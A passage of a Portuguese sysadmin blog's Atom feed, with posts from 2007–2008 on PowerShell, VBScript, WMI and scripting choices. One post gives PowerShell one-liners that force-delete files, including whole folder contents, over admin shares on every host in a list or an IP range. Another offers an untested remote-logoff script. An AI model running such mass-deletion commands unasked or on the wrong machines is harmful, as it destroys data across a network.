criando entradas inv&amp;#225;lidas para outros usu&amp;#225;rios, sem que eles tenham logado no sistema. Tudo bem que existe a diretiva de auditoria de acesso aos objetos, mas ainda assim prefiro a primeira alternativa.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Espero ter esclarecido mais um pouco sobre o assunto e at&amp;#233; a pr&amp;#243;xima!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-2935050665573662067?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/2935050665573662067/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=2935050665573662067&amp;isPopup=true' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2935050665573662067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2935050665573662067'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/04/monitorando-logon-e-logoff-de-usurios.html' title='Monitorando Logon e Logoff de usuários na rede'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-2008604974131644724</id><published>2008-04-10T01:11:00.001-03:00</published><updated>2008-04-10T01:13:29.809-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ftp'/><title type='text'>Mapear site FTP como um drive de rede comum</title><content type='html'>&lt;p&gt;Ol&amp;#225;,&lt;/p&gt;  &lt;p&gt;faz tempo heim? Faz realmente bastante tempo que eu n&amp;#227;o escrevo por aqui. O motivo principal foi o aumento na carga de trabalho do Vinicius (agora estou trabalhando pra valer, fazendo est&amp;#225;gio em uma &lt;a href="http://www.itgroup.com.br"&gt;grande empresa de tecnologia em SP&lt;/a&gt;) e falta de computador mesmo. Tive de ressucitar meu desktop e voltar a trabalhar nele.&lt;/p&gt;  &lt;p&gt;Para me redimir, vou come&amp;#231;ar a postar aqui algumas das d&amp;#250;vidas mais legais que encontrei (e tentei responder) no f&amp;#243;rum.&lt;/p&gt;  &lt;p&gt;&lt;a title="http://forums.microsoft.com/Technet-BR/ShowPost.aspx?PostID=3150152&amp;amp;SiteID=29&amp;amp;mode=1" href="http://forums.microsoft.com/Technet-BR/ShowPost.aspx?PostID=3150152&amp;amp;SiteID=29&amp;amp;mode=1"&gt;http://forums.microsoft.com/Technet-BR/ShowPost.aspx?PostID=3150152&amp;amp;SiteID=29&amp;amp;mode=1&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Esta n&amp;#227;o tem diretamente a ver com script, mas &amp;#233;, no m&amp;#237;nimo, curiosa. Esses dias, uma pessoa perguntou sobre como sincronizar um site FTP com uma pasta no disco local. O usu&amp;#225;rio disse que j&amp;#225; tinha um script que fazia isso com duas pastas, mas precisava &amp;quot;adaptar&amp;quot; pra trabalhar com FTP. Eis que eu encontrei o seguinte link, que resolve o problema dele aparentemente, e sem modificar o script atual:&lt;/p&gt;  &lt;p&gt;&lt;a title="http://windowsitpro.com/article/articleid/14486/how-can-i-map-to-an-ftp-server-as-a-drive.html" href="http://windowsitpro.com/article/articleid/14486/how-can-i-map-to-an-ftp-server-as-a-drive.html"&gt;http://windowsitpro.com/article/articleid/14486/how-can-i-map-to-an-ftp-server-as-a-drive.html&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Vale lembrar que, dessa forma, nem do script ele precisa. Xcopy ou Robocopy j&amp;#225; fazem isso.&lt;/p&gt;  &lt;p&gt;At&amp;#233; a pr&amp;#243;xima!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-2008604974131644724?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/2008604974131644724/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=2008604974131644724&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2008604974131644724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2008604974131644724'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/04/mapear-site-ftp-como-um-drive-de-rede.html' title='Mapear site FTP como um drive de rede comum'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-8504172533706107083</id><published>2008-03-01T00:15:00.001-03:00</published><updated>2008-03-01T00:15:44.596-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><title type='text'>Como apagar um mesmo arquivo em vários computadores</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;estou aqui hoje para escrever como resolver um problema não muito comum, mas curioso: como eu faço para apagar um mesmo arquivo (ou o conteúdo de uma pasta inteira) em vários computadores ao mesmo tempo?&lt;/p&gt; &lt;p&gt;Pois bem, se você tiver a lista com o nome dos computadores a serem buscados, você pode usar o seguinte comando no Windows PowerShell:&lt;/p&gt; &lt;p&gt;cat lista.txt | foreach { rm "\\$_\c$\caminho\da\pasta\arquivo.txt" -force }&lt;/p&gt; &lt;p&gt;ou ainda:&lt;/p&gt; &lt;p&gt;cat lista.txt | foreach { rm "\\$_\c$\caminho\da\pasta\*" -force }&lt;/p&gt; &lt;p&gt;ou pelo IP:&lt;/p&gt; &lt;p&gt;2..254 | foreach { rm "\\192.168.0.$_\c$\pasta\arquivo.txt"}&lt;/p&gt; &lt;p&gt;Bom, espero ter ajudado a compreender um pouco como e quando usar o PowerShell para resolver alguns problemas. &lt;/p&gt; &lt;p&gt;Até a próxima!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-8504172533706107083?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/8504172533706107083/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=8504172533706107083&amp;isPopup=true' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8504172533706107083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8504172533706107083'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/03/como-apagar-um-mesmo-arquivo-em-vrios.html' title='Como apagar um mesmo arquivo em vários computadores'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-773394867914816345</id><published>2008-02-26T23:21:00.001-03:00</published><updated>2008-02-26T23:21:16.033-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sistema Operacional'/><title type='text'>Windows 7</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;entendo que este não é nem de longe o lugar ideal pra comentar uma notícia dessas, mas pretendo compensar com um post bem interessante sobre Scripting.&lt;/p&gt; &lt;p&gt;Estou escrevendo este post para divulgar um link de um video muito legal do Channel9. Trata-se de uma palestra da Microsoft na Universidade de Illinois para alunos de Ciência da Computação. No video, Eric Traut, engenheiro Microsoft, fala bastante sobre virtualização, tendências e mostra diversas versões do Windows em VMs. O que chamou a atenção no mundo afora foi o fato dele mostrar o MinWin rodando. Várias pessoas chegaram a falar que esse era o Windows 7, mas até onde eu li sobre o MinWin, não tem nada definido ainda. Tem vários outros videos sobre o MinWin e a arquitetura dele no Channel9.&lt;/p&gt; &lt;p&gt;Quem me conhece um pouco sabe do meu "lado negro", que gosta bastante de programação, teoria de sistemas operacionais, C, C++ e Assembly. Coisas que eu aprendi a gostar depois de fazer faculdade e uma disciplina de Sistemas Operacionais II com vários trabalhos...&lt;/p&gt; &lt;p&gt;&lt;a title="http://www.acm.uiuc.edu/conference/2007/video/UIUC-ACM-RP07-Traut.wmv" href="http://www.acm.uiuc.edu/conference/2007/video/UIUC-ACM-RP07-Traut.wmv"&gt;http://www.acm.uiuc.edu/conference/2007/video/UIUC-ACM-RP07-Traut.wmv&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Até logo!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-773394867914816345?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/773394867914816345/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=773394867914816345&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/773394867914816345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/773394867914816345'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/02/windows-7.html' title='Windows 7'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-2414499511930957114</id><published>2008-01-28T17:42:00.001-02:00</published><updated>2008-01-28T17:42:09.378-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ruby'/><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><category scheme='http://www.blogger.com/atom/ns#' term='bat'/><category scheme='http://www.blogger.com/atom/ns#' term='cmd'/><category scheme='http://www.blogger.com/atom/ns#' term='vbscript'/><title type='text'>Command.com e CMD.exe vs VBScript e Windows Script Host</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;vou escrever agora sobre uma dúvida que ocorre com frequência entre profissionais de TI ao administrar servidores e estações: dado um problema, qual a ferramenta mais indicada: o prompt de comandos (COMMAND.COM e CMD.EXE) e os scripts feitos em BAT e CMD ou as ferramentas de script mais recentes, o Windows Script Host e os scripts .VBS e .JS?&lt;/p&gt; &lt;p&gt;A resposta, como sempre, não é imediata: depende. E é sobre isso que eu vou escrever.&lt;/p&gt; &lt;p&gt;A idéia principal é tentar identificar no script se vai ser necessário, em sua maioria, executar outros comandos ou processar dados (usando variáveis e outras tecnologias como o WMI e ADSI, por exemplo). Em um arquivo CMD ou BAT simples, é muito mais simples executar um comando e analisar a saída dele, uma vez que para fazer isso basta digitar a linha de comando num arquivo texto, da mesma forma que você digitaria na linha de comando. Num arquivo VBS ou JS são necessários outros passos adicionais para executar um comando, mas é muito mais simples de se fazer algum processamento com variáveis, como por exemplo, trocar todos os caracteres _ por - em uma string.&lt;/p&gt; &lt;p&gt;Esse tipo de desvantagem não existe no PowerShell. Scripts .PS1 aceitam tanto comandos simples em uma linha quanto possuem recursos avançados de linguagens de programação para manipulação de dados. Isso faz dele uma ferramenta completa.&lt;/p&gt; &lt;p&gt;Caso ainda seja necessário criar scripts multiplataforma ou caso você queira aprender uma única linguagem para utilizar em scripts para Windows e Linux, recomendo estudar a linguagem Ruby. Ela é poderosa e ao mesmo tempo possui uma sintaxe simples, que permite um fácil aprendizado mesmo para quem não domina técnicas de programação.&lt;/p&gt; &lt;p&gt;Espero ter ajudado!&lt;/p&gt; &lt;p&gt;Até logo, &lt;/p&gt; &lt;p&gt;Vinicius&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-2414499511930957114?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/2414499511930957114/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=2414499511930957114&amp;isPopup=true' title='12 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2414499511930957114'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2414499511930957114'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/01/commandcom-e-cmdexe-vs-vbscript-e.html' title='Command.com e CMD.exe vs VBScript e Windows Script Host'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-970368050778484433</id><published>2008-01-28T17:41:00.003-02:00</published><updated>2008-01-28T17:41:58.491-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wmi'/><category scheme='http://www.blogger.com/atom/ns#' term='MOF'/><title type='text'>Estendendo o WMI: sim, você pode criar suas classes!</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;encontrei um link muito bom revirando meus bookmarks. Na verdade procurava outra coisa, mas acabei clicando no link para ver o que era e encontrei uma pérola: um artigo do Greg Stemp, um dos Scripting Guys (os de verdade, que trabalha na MS e cuida do ScriptCenter) falando sobre como estender o WMI criando suas próprias classes.&lt;/p&gt; &lt;p&gt;&lt;a title="http://msdn2.microsoft.com/en-us/library/ms974554.aspx" href="http://msdn2.microsoft.com/en-us/library/ms974554.aspx"&gt;http://msdn2.microsoft.com/en-us/library/ms974554.aspx&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Não é nada de outro mundo e o exemplo que ele dá para criar uma classe que monitora programas instalados observando uma chave no registro é muito legal. Recomendo para quem já está bom em VBScript e Windows Script Host e quer avançar um pouco mais.&lt;/p&gt; &lt;p&gt;Até logo!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-970368050778484433?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/970368050778484433/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=970368050778484433&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/970368050778484433'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/970368050778484433'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/01/estendendo-o-wmi-sim-voc-pode-criar.html' title='Estendendo o WMI: sim, você pode criar suas classes!'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-1282829034798303210</id><published>2008-01-28T17:41:00.001-02:00</published><updated>2008-01-28T17:41:46.078-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows script host'/><title type='text'>Logoff do usuário atual</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;um desconhecido (na verdade ele se chama Reginaldo Costa, mas eu não conheço) me perguntou por email como fazer para forçar o logoff do usuário via script. Encontrei este na Internet e resolvi postar aqui, dado que vários frequentadores deste site sugeriram que eu mesmo já modificasse alguns dos scripts que eu ensino.&lt;/p&gt; &lt;p&gt;A idéia básica é simples: há um script pronto no &lt;a href="http://www.microsoft.com/technet/scriptcenter"&gt;ScriptCenter&lt;/a&gt; que serve para desligar o computador, via WMI (logo, funciona tanto localmente quanto para reiniciar micros remotamente). Ele usa o método Win32Shutdown para fazer o serviço. O que pouca gente sabe é que esse método também pode ser usado para fazer o logoff do usuário. Basta trocar o valor da constante no início do script. Os &lt;a href="http://www.microsoft.com/technet/scriptcenter/guide/sas_cpm_jleo.mspx?mfr=true"&gt;valores possíveis podem ser encontrados aqui.&lt;/a&gt; &lt;/p&gt; &lt;p&gt;Não testei, mas deve funcionar.&lt;/p&gt; &lt;p&gt;Const LOGOFF = 4&lt;br&gt;strComputer = "127.0.0.1"&amp;nbsp; 'aqui vai no nome do computador ou o IP&lt;br&gt;Set objWMIService = GetObject("winmgmts: {(Shutdown)}" _&lt;br&gt; &amp;amp; "{impersonationLevel=impersonate}!\\" &amp;amp; strComputer &amp;amp; "\root\cimv2")&lt;br&gt;Set colOperatingSystems = objWMIService.ExecQuery _&lt;br&gt; ("SELECT * FROM Win32_OperatingSystem")&lt;br&gt;For Each objOperatingSystem in colOperatingSystems&lt;br&gt; ObjOperatingSystem.Win32Shutdown(LOGOFF)&lt;br&gt;Next&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-1282829034798303210?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/1282829034798303210/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=1282829034798303210&amp;isPopup=true' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1282829034798303210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1282829034798303210'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/01/logoff-do-usurio-atual.html' title='Logoff do usuário atual'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-7123988795674776988</id><published>2008-01-09T23:40:00.001-02:00</published><updated>2008-01-09T23:57:25.692-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Cuidado com comparações indevidas: PowerShell ou Python?</title><content type='html'>&lt;p&gt;Primeiro, recomendo a leitura do link abaixo. Ao menos vale a pena pra ter uma idéia do que eu vou comentar.&lt;/p&gt; &lt;p&gt;&lt;a title="http://www.gossamer-threads.com/lists/python/python/612630" href="http://www.gossamer-threads.com/lists/python/python/612630"&gt;http://www.gossamer-threads.com/lists/python/python/612630&lt;/a&gt;&lt;/p&gt; &lt;p&gt;No link acima, há uma discussão sobre qual tecnologia seria interessante aprender. O criador da thread cita também um link que mostra os comentários de um DBA que fez um comparativo. Você pode ver essa comparação no link abaixo:&lt;/p&gt; &lt;p&gt;&lt;a title="http://www.simple-talk.com/sql/database-administration/comparing-python-and-powershell-dba-scripting-/" href="http://www.simple-talk.com/sql/database-administration/comparing-python-and-powershell-dba-scripting-/"&gt;http://www.simple-talk.com/sql/database-administration/comparing-python-and-powershell-dba-scripting-/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;A comparação em si até é legal... para aprender. Tem vários exemplos de como automatizar tarefas com PowerShell e Python.&lt;/p&gt; &lt;p&gt;Agora vamos ao que eu acho disso tudo. Primeiramente, queria deixar bem claro que gosto tanto de Python quanto de PowerShell. São duas ferramentas fantásticas. Gosto muito também de VBScript, JScript, Ruby... até o bom e velho CMD/BAT tem me ajudado bastante ultimamente. São todas ferramentas muito boas, com algumas deficiências, claro... cada uma na sua.&lt;/p&gt; &lt;p&gt;O bom profissioanal de TI, seja ele desenvolvedor ou profissional da área de infraestrutura, deve ter bons fundamentos. E na minha opinião, com bons fundamentos ele é capaz de se virar com qualquer tecnologia. Eu bato na tecla que, por mais que as tecnologias sejam importantes e seja indispensável que você domine algumas delas, sem a base teórica e bons fundamentos sobre computação, você terá muito mais dificuldades para continuar se atualizando. E atualização de conhecimento na nossa área é obrigatório!&lt;/p&gt; &lt;p&gt;Vamos à um exemplo prático: pensem na estrutura de decisão if-then-else. Parece algo básico demais, mas algumas pessoas realmente não entendem direito como montar uma e como encadear várias delas. Essa estrutura é indispensável para desenvolvedores, seja qual for a linguagem. E se a linguagem não tiver esse recurso (sim, existem linguagens que não tem IFs), você pode construir o seu. Para qualquer profissional de TI, compreender uma rotina if-then-else pode ajudar a determinar mais rápido as causas de um problema em um computador, por exemplo. É questão de lógica.&lt;/p&gt; &lt;p&gt;Bom, voltemos ao PowerShell x Python. Não creio que seja possível determinar uma tecnologia melhor. Ambas tem suas vantagens. Python é uma linguagem de programação completa, orientada à objetos, com um conjunto de classes padrõ bem rico e de funcionamento simples. PowerShell é um shell orientado à objetos, que trabalha extensivamente com a combinação de pequenos comandos (cmdlets) através de pipes, variáveis e outros recursos, com o objetivo de facilitar a administração de servidores. Não faz sentido comparar diretamente as duas coisas. &lt;/p&gt; &lt;p&gt;No exemplo do link que eu enviei, o autor compara as duas quanto à capacidade de automação de tarefas administrativas de servidores de bases de dados. Mas ambas possuem recursos que permitem administrar um SQL Server, por exemplo. O que podemos usar como parâmetro para comparar e descobrir qual é melhor? Número de linhas? Eu acredito que não. Eu creio que a facilidade para criar um código dado um conjunto de recursos disponíveis (sejam eles classes ou cmdlets, nesse caso) é a melhor saída, mas medir a "facilidade" é algo subjetivo demais. E o gosto de cada um é influenciado pelo conhecimento que o profissional tem. Para mim, nenhuma das duas é melhor que a outra. Elas foram feitas com propósitos diferentes.&lt;/p&gt; &lt;p&gt;O que eu faço hoje: quando surge um problema, após a análise inicial, escolho se é realmente necessário resolver o problema com scripting e, nesse caso, qual linguagem utilizar. Parece bobeira, mas ultimamente eu tenho escolhido BAT e VBScript na maioria das vezes por precisar que um único script funcione com as configurações padrão do Windows 2000 ou superiores. E é exatamente isso que eu recomendo: aprendam a base, depois as tecnologias. Pense nelas como um leque de ferramentas que você pode escolher para resolver um problema. Escolha a melhor para cada situação.&lt;/p&gt; &lt;p&gt;PowerShell é bem legal... mas VBScript, JScript, C, C++, Python, Ruby, CMD, BAT, Java, C#/VB.Net e Perl também são. =)&lt;/p&gt; &lt;p&gt;No próximo post vou retornar com algumas dicas que eu tenho utilizado ultimamente nas minhas tarefas do dia-a-dia.&lt;/p&gt; &lt;p&gt;Até logo!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-7123988795674776988?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/7123988795674776988/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=7123988795674776988&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/7123988795674776988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/7123988795674776988'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/01/cuidado-com-comparaes-indevidas.html' title='Cuidado com comparações indevidas: PowerShell ou Python?'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-7400520778160765214</id><published>2008-01-08T23:08:00.001-02:00</published><updated>2008-01-08T23:08:14.086-02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><title type='text'>Usando PowerShell para enviar mensagens XMPP (Google Talk e Jabber, por exemplo)</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;para os que não estão convencidos ainda do que o PowerShell possibilita, aqui vai mais um exemplo curioso: como enviar mensagens para IM que usam o protocolo XMPP.&lt;/p&gt; &lt;p&gt;&lt;a title="http://halr9000.com/article/455" href="http://halr9000.com/article/455"&gt;http://halr9000.com/article/455&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Para quem não sabe, XMPP é um protocolo aberto para Instant Messengers. Em especial, este protocolo é usado pelo Google Talk e pelo Jabber.&lt;/p&gt; &lt;p&gt;Tudo bem, eu concordo: qual é a grande utilidade disso no dia a dia? Pequena... talvez algum script de backup que envie mensagens por IM para administradores, gatilhos anti-roubo de senha de admin local ou coisa do tipo... algum sistema de perguntas/respostas comuns em uma rede ou simplesmente um robô de suporte técnico =). Mas o que é interessante demonstrar é que o PowerShell é capaz de atender as mais diversas necessidades, justamente porque possui muitos recursos e é extremamente fácil de utilizar.&lt;/p&gt; &lt;p&gt;Na minha opinião, atualmente os usos mais interessantes do PowerShell estão entre desenvolvedores que o utilizam para automatizar procedimentos de compilação, montagem, testes unitários e de integração. Em português bem popular: dá pra fazer miséria com ele! Mas não fica só aí. Basta olhar no arquivo do meu blog =).&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Abraços e até mais!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-7400520778160765214?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/7400520778160765214/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=7400520778160765214&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/7400520778160765214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/7400520778160765214'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/01/usando-powershell-para-enviar-mensagens.html' title='Usando PowerShell para enviar mensagens XMPP (Google Talk e Jabber, por exemplo)'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-8721049294504421607</id><published>2007-12-23T19:05:00.001-02:00</published><updated>2007-12-23T19:06:29.546-02:00</updated><title type='text'>PowerShell 2: Corrigido problema de performance com a listagem de atributos</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt; &lt;p&gt;algum tempo atrás eu comentei &lt;a href="http://viniciuscanto.blogspot.com/2007/01/dir-ad-no-powershell-onde-ele-foi-parar.html"&gt;aqui&lt;/a&gt; no blog que o PowerShell tinha um pequeno problema de performance com a listagem de arquivos. O problema estava com o format-table, que usava a propriedade Mode para imprimir na tela os atributos dos arquivos. Esta, por sua vez, era gerada usando várias vezes a operação and binária. Um dos atributos em especial (o atributo diretório, que indica se um dado objeto é um diretório ou não)podia ser gerado de outra forma, 33% mais rápida. Basta ler o conteúdo do atributo PSIsContainer ao invés de usar o and.&lt;/p&gt; &lt;p&gt;Enfim... eu reclamei aqui no blog, postei ainda no blog oficial do PowerShell e no do MOW (MVP Admin Frameworks, Holanda se não me engano). Resolvi conferir isso agora e vi que no PowerShell 2 CTP isso foi corrigido e agora a propriedade Mode usa o método get nativo do .Net Framework.&lt;/p&gt; &lt;p&gt;Fantástico! Isso mostra que a Microsoft não é a estrutura engessada que todo mundo imagina. Eles estão sim abertos ao diálogo, sugestões e melhorias. Basta sugerir. Se for bom, entra nos produtos.&lt;/p&gt; &lt;p&gt;E parabéns ao Jeffrey Snover e todo o time do PowerShell! Congratulations guys!&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:49433388-c46d-4263-940a-18233e3f71ea" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/powershell" rel="tag"&gt;powershell&lt;/a&gt;, &lt;a href="http://technorati.com/tags/mp3" rel="tag"&gt;mp3&lt;/a&gt;, &lt;a href="http://technorati.com/tags/taglib" rel="tag"&gt;taglib&lt;/a&gt;, &lt;a href="http://technorati.com/tags/mp3tag" rel="tag"&gt;mp3tag&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 